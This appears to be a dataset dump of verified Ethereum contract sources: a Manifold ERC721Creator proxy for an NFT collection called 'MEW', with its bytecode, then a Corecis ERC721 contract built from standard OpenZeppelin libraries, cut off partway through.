β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ // // β–β–ˆβ–ˆβ–ˆ&Γ¦wβ–„.. β–ˆβ–ˆ-β–€ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–€β–ˆβ–€β–€β–ˆβ–€β–€β–€β–€β–€β–€β–ˆβ–ˆβ–€β–€β–ˆβ–ˆβ–€β–€β–ˆβ–ˆβ–€ // // // // --- // // // // // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////////// contract MEW is ERC721Creator { constructor() ERC721Creator("mew.psd", "MEW") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203d358289d2c5249f10fb2233a204e318c516e67926c3caa06909af37c1deb82064736f6c63430008070033
[ 5 ]
0xf27fb0beb9c1d4360bf14df0cfb7e313c6e2e247
/** *Submitted for verification at Etherscan.io on 2022-03-21 */ // Hi. If you have any questions or comments in this smart contract please let me know at: // Whatsapp +923178866631, website : http://corecis.org // // // Complete DApp created by Corecis // // // // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] 